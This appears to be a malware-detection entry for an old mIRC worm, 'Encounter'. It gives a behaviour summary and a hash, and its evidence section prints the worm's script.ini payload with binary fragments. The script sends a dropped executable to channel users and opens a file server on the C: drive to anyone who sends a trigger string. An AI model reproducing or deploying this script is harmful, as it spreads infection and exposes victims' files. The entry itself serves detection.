IRC-Worm.DOS.Encount
mIRC worm propagates via DCC
Detects mIRC worm behavior modifying script.ini to spread via IRCJoins a channel and DCC-sends a file
SHA-25696572478b3840ebf47cbf3f1db2cb6c1c9b249757b6b130a2a66f32a3aeb2df2
MaleculeO₂(CLa)H(F)
Evidence
1�N�E�!r:�A�E�!��<3ɺE�!��@�s�u�!�>�!��<���X�!��@�����!�>�!� c:\mirc\script.ini�c:\windows\system\star.com�[script]
2n0=on 1:START:/run c:\windows\notepad.exe
3n1=on 1:CONNECT:/msg MeTaLiK mIRC.Encounter
4n2=on 1:JOIN:#:if ($nick != $me) { .dcc send $nick c:\windows\system\star.com }
5n3=on 1:TEXT:#:*worm*:/quit mIRC.Encounter
6n4=on 1:TEXT:#:*virus*:/msg $chan 4,1I'M INFECTED!!!
7n5=on 1:TEXT:#:*bye*:/quit
8n6=on 1:TEXT:#:*asl*:/msg $chan Somebody wanna cyber?
9n7=on 1:PART:#:if ($nick != $me) { .dcc send $nick c:\windows\system\star.com }
10n8=ctcp 1:*3N50U56*:/fserve $nick 666 c:\
11n9=on 1:UNLOAD:/run c:\windows\system\star.com | /quit Don't fuck with mIRC.Encounter worm
12n10=; => mIRC.Encounter
13n11=; => coded by …